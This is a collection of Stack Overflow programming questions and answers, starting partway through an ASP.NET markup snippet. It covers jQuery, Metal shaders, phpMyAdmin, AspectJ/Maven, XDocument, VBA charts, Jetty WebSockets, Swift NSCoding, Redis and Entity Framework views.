BackColor="#008A8C"&gt;&lt;/SelectedRowStyle&gt; &lt;RowStyle ForeColor="Black" BackColor="White"&gt;&lt;/RowStyle&gt; &lt;SortedAscendingCellStyle BackColor="#F1F1F1" /&gt; &lt;SortedAscendingHeaderStyle BackColor="#0000A9" /&gt; &lt;SortedDescendingCellStyle BackColor="#CAC9C9" /&gt; &lt;SortedDescendingHeaderStyle BackColor="#000065" /&gt; &lt;/asp:GridView&gt; &lt;asp:LinkButton ID="lnkFake" runat="server"&gt;&lt;/asp:LinkButton&gt; &lt;cc1:ModalPopupExtender ID="mp1" BehaviorID="behaviorIDmp1" runat="server" PopupControlID="Panl1" TargetControlID="lnkViewContact" CancelControlID="btnCancel" DropShadow="true" BackgroundCssClass="modalBackground"&gt; &lt;/cc1:ModalPopupExtender&gt; &lt;asp:Panel ID="Panl1" runat="server" CssClass="modalPopup" align="center" Style="display: none; height: 400px;" DefaultButton="btnRegister"&gt; &lt;%--&lt;h1 style="font-variant: normal; font-family: Comic Sans MS; font-size: 1.5em; font-weight: lighter; margin-top: 2px; margin-bottom: 2px; text-align: center; color: Blue;"&gt; SIGN UP&lt;/h1&gt;--%&gt; &lt;asp:Label ID="lblEmailId" runat="server" ForeColor="Black" Text="Email address" Style="font-weight: bold; display: block; text-align: left; margin-left: 45px; margin-top: 10px;"&gt;&lt;/asp:Label&gt; &lt;asp:TextBox ID="txtEmailAddress" runat="server" class="txtFirstName" MaxLength="100" name="email" TabIndex="3" value="" /&gt;&lt;br /&gt; &lt;asp:RequiredFieldValidator EnableClientScript="true" ID="reqEmailAdress" runat="server" ValidationGroup="modal" ControlToValidate="txtEmailAddress" ErrorMessage="Email Address Required" Display="Dynamic" Style="color: Red;" /&gt; &lt;asp:RegularExpressionValidator ID="regEmailAddress" runat="server" ErrorMessage="Not Valid Email ID" ValidationGroup="modal" Display="Dynamic" ControlToValidate="txtEmailAddress" ForeColor="Red" ValidationExpression="\w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*"&gt; &lt;/asp:RegularExpressionValidator&gt; &lt;asp:Label ID="lblContactNumber" runat="server" ForeColor="Black" Text="Contact Number(Don't prefix 0 or +91)" Style="font-weight: bold; display: block; text-align: left; margin-left: 45px;"&gt;&lt;/asp:Label&gt; &lt;asp:TextBox ID="txtContactNumber" runat="server" class="txtFirstName" MaxLength="15" name="contact" TabIndex="6" value="" /&gt;&lt;br /&gt; &lt;asp:RequiredFieldValidator EnableClientScript="true" ID="reqContactNumber" runat="server" ValidationGroup="modal" ControlToValidate="txtContactNumber" ErrorMessage="Contact Number Required" Display="Dynamic" Style="color: Red;" /&gt; &lt;asp:RegularExpressionValidator ID="regContactNumber" runat="server" ControlToValidate="txtContactNumber" ValidationGroup="modal" Text="Only 10 digit valid contact number is valid." ValidationExpression="[0-9]{10}" Style="color: Red;" Display="Dynamic"&gt;&lt;/asp:RegularExpressionValidator&gt; &lt;asp:Button ID="btnRegister" ValidationGroup="modal" class="btnempregsubmit" runat="server" Text="Save" OnClick="Register" CausesValidation="false" /&gt; &lt;br /&gt; &lt;asp:HyperLink ID="btnCancel" runat="server" Text="Cancel" CssClass="btnClosePopup"&gt;Close&lt;/asp:HyperLink&gt; &lt;/asp:Panel&gt; &lt;/ContentTemplate&gt; &lt;Triggers&gt; &lt;asp:AsyncPostBackTrigger ControlID="grdSearchResult" /&gt; &lt;asp:AsyncPostBackTrigger ControlID="btnRegister" /&gt; &lt;/Triggers&gt; &lt;/asp:UpdatePanel&gt;</code></pre> </div> </div> </p>
10352881	0	 <p>Something like this, using form.target and empty window.open (code not tested) : </p> <pre><code>&lt;form name="myform" action="postoffer_preview.php" target="myNewWin" method=post"&gt; &lt;input type="button" name="preview" id="inline_submit_a" value="PREVIEW" /&gt; &lt;/form&gt; &lt;script&gt; var open_post_window = function () { window.open("","myNewWin","width=500,height=300,toolbar=0"); document.myform.submit(); } $('#inline_submit_a').click(function(evt) { var msg = document.getElementById('message').value; var myLineBreak = msg.replace(/([^&gt;\r\n]?)(\r\n|\n\r|\r|\n)/g, '&lt;br /&gt;'); jQuery.ajax({ type: 'POST', url: '/someajax.php', data: "msg="+myLineBreak, success: function(data) { open_post_window(); return false; } }); }); &lt;/script&gt; </code></pre> <p>Add a little setTimeout on document.myform.submit() may be necessary.</p>
2886216	0	 <p>Your question is not answerable. It depends entirely on whether the lock is contended or not.</p> <p>Let me put it this way: you're asking "does it take a long time to enter the bathroom?" <em>without telling us how many people are already in line to use it</em>. If there is never anyone in line, not long at all. If there are usually twenty people waiting to get in, perhaps very long indeed.</p>
9956839	0	Phpmyadmin export VIEW without DATABASE_NAME or ALGORITHM <p>When exporting a sql dump with phpmyadmin it creates the VIEW table like this:</p> <pre><code>CREATE ALGORITHM=UNDEFINED DEFINER=`root`@`localhost` SQL SECURITY DEFINER VIEW `database`.`table` etc.. </code></pre> <p>Each time I have to manually edit the sql dump to remove the <code>root</code> user and <code>database</code> name. </p>
39311166	0	 <p>There are also problems defining functions in a header file. I thought I could inline them, but it seems I can only declare them.</p> <p>For instance, I had this header file,</p> <pre><code>// ShaderMath.h #pragma once using namespace metal; float4 conjugate(const float4 q); float4 conjugate(const float4 q) { return float4( -q.xyz, q.w ); } </code></pre> <p>If I include this header in more than one metal file, I get the "multiply defined" error. However, if I move the definition to a .metal file, then it works. The header file is just,</p> <pre><code>// ShaderMath.h #pragma once using namespace metal; float4 conjugate(const float4 q); </code></pre> <p>and the metal file,</p> <pre><code>// ShaderMath.metal #include &lt;metal_stdlib&gt; #include "ShaderMath.h" using namespace metal; float4 conjugate(const float4 q) { return float4( -q.xyz, q.w ); } </code></pre> <p>I hope this helps other people stuck with this same problem.</p>
17873051	0	 <p>Try this:</p> <pre><code>Public class program { String nm = ""; public static void main(String args[]) { nm = "myname"; System.out.println(nm); } } </code></pre>
3902816	0	 <p>I think it's unlikely that this is possible using only client-side Flash. In theory maybe it would be possible to simulate playback speed of video by doing manual seeking, but that wouldn't provide for audio. Using Flash 10+, it is now possible to manipulate audio data manually, though that doesn't mean it's possible to manipulate in context of a audio/video stream . (Example: <a href="http://www.kelvinluck.com/2008/11/first-steps-with-flash-10-audio-programming/" rel="nofollow">http://www.kelvinluck.com/2008/11/first-steps-with-flash-10-audio-programming/</a>)</p> <p>If the Google Video player you provided a screen shot of was Flash based, then I think it's very likely they were using a media server to handle playback speed changes. (Just FYI, google at one time had multiple video players available, and not all were Flash based.) Recent versions of Flash Media Server supposedly also support playback speed adjustment. (I couldn't find anything authoritative though, and I don't know if handling of audio is included.)</p> <p>One other thought, just FWIW, HTML5 video includes support for speed adjustment the playbackRate property. Perhaps that will eventually be an option for you.</p>
17932333	0	 <p>OK...two things first that are not related to your problem:</p> <ol> <li>There's no need to use a build.ajproperties file. This is calculated automatically.</li> <li>You'll probably want to add a <code>testCompile</code> goal to the executions, otherwise your test classes won't be woven.</li> </ol> <p>The answer lies with the fact that you are using AspectJ with ITDs, but the maven compiler runs before the AspectJ compiler and fails (because ITDs have not been woven). It doesn't look like there is a clean answer, but have a look at this question:</p> <p><a href="http://stackoverflow.com/questions/14614446/how-do-i-disable-the-maven-compiler-plugin">How do I disable the maven-compiler-plugin?</a></p> <p>I never followed up and tried all of the solutions suggested there, but I do know that the following would work in single-pom scenario:</p> <ol> <li><code>&lt;aspectDirectory&gt;src/main/java&lt;/aspectDirectory&gt;</code> to <code>&lt;aspectDirectory&gt;src/main/aspect&lt;/aspectDirectory&gt;</code></li> <li>move all source files from <code>src/main/java</code> to <code>src/main/aspect</code> (or at least move the files that rely on the ITDs being woven).</li> </ol>
9280353	0	 <p>If your format is fixed like this, it's not so bad:</p> <pre><code>foreach(XElement element in elements) { XDocument newDoc = new XDocument (new XElement(xDoc.Root.Name, xDoc.Root.Element("Info"), element)); // ... } </code></pre> <p>It's not great, but it's not horrendous. An alternative is to clone the original document, remove all the Message elements, then repeatedly clone the "gutted" version and add one element at a time to the new clone:</p> <pre><code>XDocument gutted = new XDocument(xDoc); gutted.Descendants(xDoc.Root.Name.Namespace + "Message").Remove(); foreach(XElement element in elements) { XDocument newDoc = new XDocument(gutted); newDoc.Root.Add(element); // ... } </code></pre>
20097105	0	VBA Chart series set Color Fill to "Automatic" <p>I want to highlight some series in my stack chart - this is I have implemented. But the chart is dynamic, so when I change selection I need to highlight other series. But what was highlighted previously remains highlighted.</p> <p>I am thinking to tun a cycle through all series and assign Fill Color of the series as "Automatic" each time when I change the source. Then I could highlight the needed series.</p> <p>I have have found 2 options to sent the color using properties</p> <p><strong>.Interior.Color</strong> </p> <ul> <li>OR</li> </ul> <p><strong>.Format.Fill.ForeColor.SchemeColor</strong></p> <p>But there I used RGB color model to set a color.</p> <p>How can I come back to <strong>"Automatic"</strong> color, that is <strong>default color</strong> in my chart template. What value should I assign to the properties above?</p> <p>Thanks!</p>
20900256	0	Can give currency pattern in yaxis tickLabel in jqplot? <p>Here is my script</p> <pre><code>&lt;script type="text/javascript"&gt; function my_ext() { this.cfg.axes.yaxis.tickOptions = { formatString : '' }; } &lt;/script&gt; </code></pre> <p>I want to format the numbers on my axis like this: <code>100,000,000.00</code>. How do I do this in jqplot?</p>
5405579	0	 <p>I've seen similar errors trying to test x86 assemblies on a 64-bit system.</p> <p>You may need to run nunit-x86.exe instead of nunit.exe.</p>
7286997	0	 <p>Because mysql_query doesn't return a row, it returns a resource. </p> <p>Use <code>mysql_num_rows($result)</code> to check if there is a row returned.</p>
13739026	0	 <p>You are adding data to both <code>Vectors</code> with out initializing them.</p> <pre><code>Vector data; Vector columns; </code></pre> <p>Initialize them before you add elements.</p> <pre><code>Vector data = new Vector(); Vector columns = new Vector(); </code></pre> <p>Check after doing this whether you are getting <a href="http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/NullPointerException.html" rel="nofollow">NullPointerException</a> or not.</p> <p>If still you are getting <code>NPE</code> then I doubt that you didn't initialize <code>JTable</code>. So post code to make us know where exactly exception is coming.</p>
8600145	0	 <p>Trying to do something similar to allow WS calls to an embedded Jetty REST API...here's my echo test code (Jetty 7), HTH</p> <pre><code> public class myApiSocketServlet extends WebSocketServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException ,IOException { OutputStream responseBody = response.getOutputStream(); responseBody.write("Socket API".getBytes()); responseBody.close(); } public WebSocket doWebSocketConnect(HttpServletRequest request, String protocol) { return new APIWebSocket(); } class APIWebSocket implements WebSocket, WebSocket.OnTextMessage { Connection connection; @Override public void onClose(int arg0, String arg1) { } @Override public void onOpen(Connection c) { connection = c; } @Override public void onMessage(String msg) { try { this.connection.sendMessage("I received: " + msg); } catch (Exception e) { e.printStackTrace(); } } } } </code></pre>
7386028	0	 <p>I figured out how to do this using the <a href="http://msdn.microsoft.com/en-us/library/microsoft.visualstudio.shell.interop.ivsregisternewdialogfilters.aspx" rel="nofollow">SVsRegisterNewDialogFilters service</a> (which was the missing piece of the puzzle).</p> <p>It enables you to supply an implementation of <a href="http://msdn.microsoft.com/en-us/library/microsoft.visualstudio.shell.interop.ivsfilteraddprojectitemdlg.aspx" rel="nofollow">IVsFilterAddProjectItemDlg</a> implementation which is called whenever the add-project-item dialog is invoked (regardless who invokes it). It is called with a different project type GUID for Web / Silverlight projects than for unflavoured C# projects (so I can simply filter out our various template directories .</p>
12481240	0	Parsing arbitrary precision integers with boost::spirit <p>I would like to create boost::spirit::qi::grammar for arbitrary integer. Storing integer to string just feels terrible wasting of memory especially when integer is represented in binary format. How could I use arbitrary precision integer class (e.g. GMP or llvm::APInt) in structure?</p>
23745841	0	 <p>You have two possible options.</p> <ol> <li><p>Replace recursion with simple loop, or even non-iterative formula: <code>getLength()</code> of i-th item in the line is <code>n - i + 1</code> where <code>n</code> is the list length, assuming first item has index 1;</p></li> <li><p>[Not recommended] increase JVM stack size by adding <code>-Xss100m</code> (or any other size you consider suitable) flag to the command starts JVM;</p></li> </ol>
16322464	0	 <p>If you MUST sort the array in PHP, after you got the query result, use the <code>array_multisort</code> function in PHP (<a href="http://www.php.net/manual/en/function.array-multisort.php" rel="nofollow">http://www.php.net/manual/en/function.array-multisort.php</a>)</p> <p>However, if your life does not depend on sorting in PHP, sort at the source in your SQL (the way God intended it to be) it's going to be much much faster and it will take the load off the web server.</p> <p>Hope this helps.</p>
40727166	0	 <p>Thank you so much! You guys are life saver! This is the code that I eventually come up with it. I think it is the combination of all answers!</p> <pre><code>import json table = [] with open('simple.json', 'r') as f: for line in f: try: j = line.split('|')[-1] table.append(json.loads(j)) except ValueError: # You probably have bad JSON continue for row in table: print(row) </code></pre>
32829727	0	 <p>String supports only <code>+</code> and <code>+=</code>. All other arithmetic and compound statements are invalid at compile time itself. </p> <p>From <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/String.html" rel="nofollow"><code>String docs</code></a> </p> <blockquote> <p>The Java language provides special support for the string concatenation operator ( + ), and for conversion of other objects to strings.</p> </blockquote> <p>That doesn't mean it support all other operations.</p> <p>To substract or to make parts of string, there are other methods like <code>substring</code>, <code>split</code> etc.</p> <p>Here are some examples to substring, from docs </p> <pre><code> String c = "abc".substring(2,3); </code></pre>
34915524	0	Thread 1:EXC_BAD_INSTRUCTION error when calling "addObjectsFromArray"method for NSMutableArray <p>I have created a program where it calculates the borders of certain countries based on a Custom Object being inputed into a function. This function returns an array of custom objects. I keep getting this error when trying to add this array to a NSMutableArray. The error is called "Thread 1: EXC_BAD_INSTRUCTION(code=EXC_1386_INVOP, subcode=0x0)".</p> <p>Here is my adding code: </p> <pre><code>@IBOutlet var Label: UILabel! @IBOutlet var imageView: UIImageView! override func viewDidLoad() { //Afganistan Afghanistan.name = "Afghanistan" Afghanistan.borders.addObjectsFromArray(relate(Afghanistan)) Label.text = String((Afghanistan.borders[0] as! develop).name) } </code></pre> <p>Here is the relate method along with the group dictionary:</p> <pre><code>func relate(X : develop) -&gt; Array&lt;develop&gt;{ var A : [develop] = [] for (_, value) in groups { for y in value { if y.name == X.name { for i in value { if i.name != X.name { A.append(i) } } } } } return A } //Groups var groups = [ "one": [Afghanistan] ] </code></pre> <p>Here is the class of develop: </p> <pre><code> class develop : NSObject, NSCoding { //Shared var power : Int! var name : String! var image : UIImage! var flag : UIImage! var militaryName : String! //Military var experience : Int! var OATC : Int! var navy : Int! var airforce : Int! var artillery : Int! //Geography var borders : NSMutableArray! var cities : NSMutableArray! //Biomes var biom : NSMutableArray! var continent : String! var NSEW : String! //Encoding Section required convenience init(coder decoder: NSCoder) { self.init() //shared self.power = decoder.decodeObjectForKey("power") as! Int self.name = decoder.decodeObjectForKey("name") as! String self.image = decoder.decodeObjectForKey("image") as! UIImage self.flag = decoder.decodeObjectForKey("flag") as! UIImage self.militaryName = decoder.decodeObjectForKey("militaryName") as! String //Military self.experience = decoder.decodeObjectForKey("experience") as! Int self.OATC = decoder.decodeObjectForKey("OATC") as! Int self.navy = decoder.decodeObjectForKey("navy") as! Int self.airforce = decoder.decodeObjectForKey("airforce") as! Int self.artillery = decoder.decodeObjectForKey("artillery") as! Int //Geography self.borders = decoder.decodeObjectForKey("borders") as! NSMutableArray self.cities = decoder.decodeObjectForKey("cities") as! NSMutableArray self.continent = decoder.decodeObjectForKey("continent") as! String self.NSEW = decoder.decodeObjectForKey("NSEW") as! String } convenience init( power: Int, name: String, image: UIImage, flag: UIImage, relations: NSMutableArray, mName: String, experience: Int, OATC: Int, navy: Int, airforce: Int, artillery: Int, borders: NSMutableArray, cities: NSMutableArray, biom: NSMutableArray, continent: String, NSEW: String ) { self.init() //shared self.power = power self.name = name self.image = image self.flag = flag self.militaryName = mName //military self.experience = experience self.OATC = OATC self.navy = navy self.airforce = airforce self.artillery = artillery //geography self.borders = borders self.cities = cities self.biom = biom self.continent = continent self.NSEW = NSEW } func encodeWithCoder(coder: NSCoder) { //Shared if let power = power { coder.encodeObject(power, forKey: "power") } if let name = name { coder.encodeObject(name, forKey: "name") } if let image = image { coder.encodeObject(image, forKey: "image") } if let flag = flag { coder.encodeObject(flag, forKey: "flag") } if let militaryName = militaryName { coder.encodeObject(militaryName, forKey: "militaryName") } //Military if let experience = experience { coder.encodeObject(experience, forKey: "experience") } if let OATC = OATC { coder.encodeObject(OATC, forKey: "OATC") } if let navy = navy { coder.encodeObject(navy, forKey: "navy") } if let airforce = airforce { coder.encodeObject(airforce, forKey: "airforce") } if let artillery = artillery { coder.encodeObject(artillery, forKey: "artillery") } //geography if let borders = borders { coder.encodeObject(borders, forKey: "borders") } if let cities = cities { coder.encodeObject(cities, forKey: "cities") } if let biom = biom { coder.encodeObject(biom, forKey: "biom") } if let continent = continent { coder.encodeObject(continent, forKey: "continent") } if let NSEW = NSEW { coder.encodeObject(NSEW, forKey: "NSEW") } } } </code></pre> <p>"Afghanistan" is a subclass of develop</p>
36839549	0	redis key after redis server shutdown and restart not available <p>To add keys to redis I did the following via the redis CLI:</p> <pre><code>127.0.0.1:6379&gt; KEYS * 1) "key1" 2) "key2" 3) "key3" 127.0.0.1:6379&gt; SET name "rahul" OK 127.0.0.1:6379&gt; KEYS * 1) "key1" 2) "name" 3) "key2" 4) "key3" 127.0.0.1:6379&gt; </code></pre> <p>To validate the persistence of the data in my redis data store, I re-started the server, upon checking the keys, I found few keys to be missing :</p> <pre><code>127.0.0.1:6379&gt; KEYS * 1) "key3" 2) "key2" 3) "key1" 127.0.0.1:6379&gt; </code></pre> <p>Are there any specific naming conventions for redis keys. I was using a Windows system. Any idea of what has gone wrong. TIA. </p>
39744738	0	 <ol> <li>Use <a href="http://ruby-doc.org/stdlib-2.3.0/libdoc/fileutils/rdoc/FileUtils.html#method-c-mkdir" rel="nofollow">ruby tools</a> for creating directory instead of shelling out.</li> <li>Move your expectation into the fakefs block.</li> </ol>
14799853	0	 <p>HTML5 postMessage interface is not good. I propose an intuitive one. you can download it from my site: <a href="http://www.jackiszhp.info/tech/postMSG.html" rel="nofollow">http://www.jackiszhp.info/tech/postMSG.html</a></p> <p>window.MSG.post(msgname, msgdata, arrayOfDomainTarget, arrayOfWindowIDTarget)</p> <p>this 'window' can be omit, not similar to the one specified in HTML5 there you need an window object. Here, you do not. this 'window' just indicate MSG is in the global space.</p> <p>msgname is the the name the message category. msgdata is a JSON object. it will be stringified before post arrayOfDomainTarget, arrayOfWindowIDTarget I use logical AND. originally it was OR later I changed it to AND. more appropriate. I guess. and I let "*" to be the wildcard for all windowID.</p> <p>the caller's information does not present in the parameter at all since the browser knows all the information. so we can see that this method does not allow the sender to fool the receiver.</p> <p>the sender just call as follows.</p> <pre><code>window.name="myWindowID"; MSG.post("cmd",{what:'do thing abc',parameter:'the value of a parameter'},["jackiszhp.info"],[*]); </code></pre> <p>for the receiver, 2 things.</p> <pre><code>//#1 define the message handler function messageHandler(e){ var obj=JSON.parse(e.detail); obj.name is the msgname = 'cmd' obj.data is the msgdata = {what:'fuck',who:'not to tell'}; obj.source is the sender obj.source.href is the sender's window.location.href obj.source.WID is the sender's window.name="myWindowID"; obj.target is the target of this event obj.target.domains is the target domains of this event obj.target.WIDs is the target WIDs of this event .... } //#2 register the message handler window.addEventListener(msgname, messageHandler,false); or document.addEventListener(msgname, messageHandler,false); //to respond, window.name="hereMywindowID"; MSG.post("cmd",{what:'do thing def',parameter:'the value of a parameter'},["jackiszhp.info"],['myWindowID']); //clearly, we can see that this response only the original sender can receive it. //unless in the target domain, accidently, there are two windows with same ID "myWindowID". </code></pre> <p>Additional note:</p> <h1>A. window can be uniquely identified. but here, I did not use it. I use window.name instead. about window ID, you can check this link: <a href="https://developer.mozilla.org/en-US/docs/Code_snippets/Windows#Uniquely_identifying_DOM_windows" rel="nofollow">https://developer.mozilla.org/en-US/docs/Code_snippets/Windows#Uniquely_identifying_DOM_windows</a></h1> <h1>B. I hope the mozilla can take my interface and include it into the firefox.</h1>
701355	0	 <p>Here's how</p> <pre><code>int i = Math.Abs(386792); while(i &gt;= 10) i /= 10; </code></pre> <p>and <code>i</code> will contain what you need</p>
16232146	0	Row autofit property not working properly <p>I have one excel sheet</p> <p>Width of Column A is 70 and the word wrap property is ON.</p> <p>And the content in the cell is of 287 words/1950 characters. Now when i try the row autofit function, its not working properly. Some of the content is still not visible. How to solve this issue. </p>
19877845	0	 <p>Try this <code>Right Click on File -&gt; Open With -&gt; Java Editor</code></p> <p><img src="https://i.stack.imgur.com/Lp1gT.png" alt="enter image description here"></p> <p>Make sure you are in the <code>Java perspective.</code></p> <p><img src="https://i.stack.imgur.com/GYVe9.png" alt="enter image description here"></p> <p>Try cleaning eclipse. Start eclipse with</p> <pre><code>eclipse --clean </code></pre> <p>Hope this helps.</p>
18285708	0	 <p>While this will work, it's probably best (from a readability and performance standpoint) to use a dedicated event library. If you don't want to do that, this is a neater way to do it.</p> <p>jQuery allows creation of <a href="https://developer.mozilla.org/en-US/docs/Web/API/DocumentFragment" rel="nofollow">documentFragments</a>, which just live in memory as an object. It isn't added to your page, and events can only be triggered on it by using the returned value (here stored in <code>window.events</code>).</p> <pre><code>window.events = $('&lt;div&gt;'); events.on('changeSettings',function(e,param1){ // do something }); events.trigger('changeSettings', ['value']); </code></pre> <h2><a href="http://jsfiddle.net/ueyZ3/" rel="nofollow">fiddle</a></h2> <hr> <p>Here's an example using <a href="http://radio.uxder.com/index.html" rel="nofollow">radio.js</a>, which does events and nothing else.</p> <pre><code>radio('changeSettings').subscribe(function(data1, data2) { //do something with data1 and data2 }); radio('changeSettings').broadcast(data1, data2); </code></pre> <p>You could also do something like this, which allows refactoring and minification.</p> <pre><code>var events = {changeSettings: radio('changeSettings')}; events.changeSettings.subscribe(function(data1, data2) { //do something with data1 and data2 }); events.changeSettings.broadcast(data1, data2); </code></pre>
21810145	0	Paypal checkout opens on a separate tab - how to change this? <p>I have found that the Paypal generated buttons is a very good solution for my wife's website. However, whenever someone presses on the "add to cart" button, he/she is taken to a separate Internet Explorer tab. That's fine. However, if they chose to "continue shopping", IE tries to close the Paypal tab and asks the user's permission to do so. This is not really ideal from the user experience point of view.</p> <p>Can I force the Paypal Checkout to open in the same IE tab as the main website?</p> <p>Thank you.</p>
6948422	0	 <p>These are just some ideas.</p> <p>Isn't step 3 actually straightforward (just compress and/or encrypt the data into different bytes)? For 7-bit ASCII, you can also, before compressing and/or encrypting, store the data by packing the bits so they fit into fewer bytes.</p> <p>If you can use UTF-32, UTF-8, and so on in step 5, you have access to all the characters in the <a href="http://en.wikipedia.org/wiki/Unicode" rel="nofollow">Unicode</a> Standard, up to 0x10FFFD, with some exceptions; for example, some code points are noncharacters in the Unicode Standard, such as 0xFFFF, and others are invalid characters, such as 0xD800.</p>
34967710	0	change a attr of element when windows width less than value with jquery <p>I want when windows width less than 992, change css attr of one element. I wrote this code:</p> <pre><code>$(document).ready() { if ($(window).width() &lt; 992) { $('#header_right').css('text-align', 'center'); } } </code></pre> <p>If I execute</p> <pre><code>if ($(window).width() &lt; 992) { $('#header_right').css('text-align', 'center'); } </code></pre> <p>in console by ff done but when use this code in file such as up don't worked.</p> <p>I use this js file in head:</p> <pre><code>&lt;script src="js/jquery.min.js"&gt;&lt;/script&gt; &lt;script src="js/bootstrap.min.js"&gt;&lt;/script&gt; &lt;script src="js/main.js"&gt;&lt;/script&gt; </code></pre> <p>Please advice.</p>
2942167	0	 <p>You can try to use indexes, its very optimize queries time.</p> <p>try this link:</p> <p><a href="http://www.databasejournal.com/features/mysql/article.php/1382791/Optimizing-MySQL-Queries-and-Indexes.htm" rel="nofollow noreferrer">http://www.databasejournal.com/features/mysql/article.php/1382791/Optimizing-MySQL-Queries-and-Indexes.htm</a></p>
21452934	0	What is the easiest way to push a very messy local git repo to a remote git repo, chunk by chunk? <p>I have forked and then cloned a git repo that my research group is working on a while ago. I was (and still am) new to git, but I happily created a few branches, occasionally merging them with the changes from the remote source. I have also pushed my changes every now and again to my remote forked version of the repo, but I never pushed much to the original repo, because my work was undone and nobody demanded it.</p> <p>Here is the situation: I have a whole load of changes committed and pushed to my remote repo. Almost none of it made it to the original remote repo that the rest of the group is working on. Just doing one big diff is out of the question, because there is still way too much scruffy unfinished work that nobody besides me might need. How do I start pushing selected changes (as in, selected manually, by hand) to the remote repo, chunk by chunk?</p> <p>I am not fluent in git, and I wonder if I have to make a clean clone and start from there. Is there a smarter way of approaching my situation?</p> <p>Thank you.</p>
8406433	0	Launch jQuery .datepicker from Another JS Function <p>I need to launch .datepicker only if the text entered into a field does not meet a set of criteria. But, I can not figure out how to launch .datepicker other than directly from a field getting focus or a button being presses.</p> <p>What I'm trying to do...</p> <p>The HTML</p> <pre><code>&lt;input type="text" id="userDate" name="userDate" style="width: 100px;" onblur="checkDate(this.id);" /&gt; </code></pre> <p>The JS</p> <pre><code>function checkDate(theId) { var enteredValue = document.getElementById(theId).value; var checkedValue = evaluateValue(enteredValue); // this checks to see if the text meets the criteria if (checkedValue == null) { // this is where I want to call the .datepicker to have the calendar show up $("#userDate").datepicker(); } else { document.getElementById(theId).value = checkedValue; } } </code></pre> <p>I know, this would be easier if the calendar just came up when the text field gets focus. But, this is not the way the client wants it to work. They want to accept user input as long as it falls into their desired formats. If not, then they want the calendar and a default, forced format.</p> <p>Thanks.</p>
760353	0	 <p>A swift google came up with this example which may be of use. I offer no guarantees, except that it compiles and runs :-)</p> <pre><code>#include &lt;streambuf&gt; #include &lt;ostream&gt; template &lt;class cT, class traits = std::char_traits&lt;cT&gt; &gt; class basic_nullbuf: public std::basic_streambuf&lt;cT, traits&gt; { typename traits::int_type overflow(typename traits::int_type c) { return traits::not_eof(c); // indicate success } }; template &lt;class cT, class traits = std::char_traits&lt;cT&gt; &gt; class basic_onullstream: public std::basic_ostream&lt;cT, traits&gt; { public: basic_onullstream(): std::basic_ios&lt;cT, traits&gt;(&amp;m_sbuf), std::basic_ostream&lt;cT, traits&gt;(&amp;m_sbuf) { init(&amp;m_sbuf); } private: basic_nullbuf&lt;cT, traits&gt; m_sbuf; }; typedef basic_onullstream&lt;char&gt; onullstream; typedef basic_onullstream&lt;wchar_t&gt; wonullstream; int main() { onullstream os; os &lt;&lt; 666; } </code></pre>
19996069	0	Unbounded knapsack pseducode <p>I need to modify wiki's knapsack pseudocode for my homework so it checks whether you can achieve exact weight W in the knapsack or not. Number of items is unlimited and you the value not important. I am thinking to add a while loop under j>-W[j] to check how many same items would it fit. Will that work?</p> <p>Thanks</p> <pre><code>// Input: // Values (stored in array v) // Weights (stored in array w) // Number of distinct items (n) // Knapsack capacity (W) for w from 0 to W do m[0, w] := 0 end for for i from 1 to n do for j from 0 to W do if j &gt;= w[i] then m[i, j] := max(m[i-1, j], m[i-1, j-w[i]] + v[i]) else m[i, j] := m[i-1, j] end if end for end for </code></pre>
31060657	0	TCP/IP send data and receive data sequence <p>I am using uIP Open Source TCP Stack on my Embedded Microcontroller. I have read many post of TCP/IP which looks similar to this question but still I couldn't get the answer I was looking for. Thus I am asking this.</p> <p>I know send data will be saved in Ethernet Controller(Server) Tx Buffer in sequence. And Receive data will be saved in Ethernet Controller(Client) Rx Buffer in sequence. </p> <p>If I have 100 bytes of message which I send (using PSOCK_SEND method ) all together to client using TCP. I know if I send all together receiver will guarantee receive all together.</p> <p>Now If I send two 50 bytes one by one, it there any possibility that second 50 bytes sent can be received first. And first 50 bytes sent can be received second?</p> <p>My understanding is that this is possible in HTTP Protocol. But in TCP regardless of bytes sent in two steps or one, the receive will receive in the same sequence. So TCP will keep sending first 50 bytes until it will be successful or time out. And only then it will send second 50 bytes.</p>
17589982	0	 <p>Because that is just how it works, it's in minutes. Why is it an issue?</p>
8614416	0	 <p>MVP can be explained the following way:</p> <p>Model -- the domain model of your application. All business logic is here.</p> <p>Presenter -- All view logic is here. Retrieves data from model and updates the view. </p> <p>View -- UI presentation. Contains no updating logic. Fires events to the presenter on user interaction something and listens to the events from the presenter.</p>
300712	0	Codebehind and inline on same page in ASP.NET? <p>In ASP.NET, is it possible to use both code behind and inline on the same page? I want to add some inline code that's related to the UI of the page, the reason to make it inline is to make it easy to modify as it outputs some HTML which is why I don't want to add it in the code behind, is this possible in ASP.NET?</p> <p>Edit: I'm sorry, obviously my question wasn't very clear, what I meant is using a script block with runat="server", this is what I meant by inline code.</p> <p>Thanks</p>
24663056	0	 <p>I found that if my mapping didn't perfectly match my view then it would error trying to generate the "table", since it thought it already existed or didn't match the definition in my code. </p> <p>I used the Reverse Engineer Code First feature in <a href="http://msdn.microsoft.com/en-us/data/jj593170.aspx" rel="nofollow">EF Power Tools</a> and copied the model and model Map files it generated for my view. These worked without issue.</p> <p>Then, the final step, I added the Map file during your OnModelCreation method in your DbContext:</p> <pre><code>protected override void OnModelCreating(DbModelBuilder modelBuilder) { modelBuilder.Configurations.Add(new UserFoldersMap()); } </code></pre>
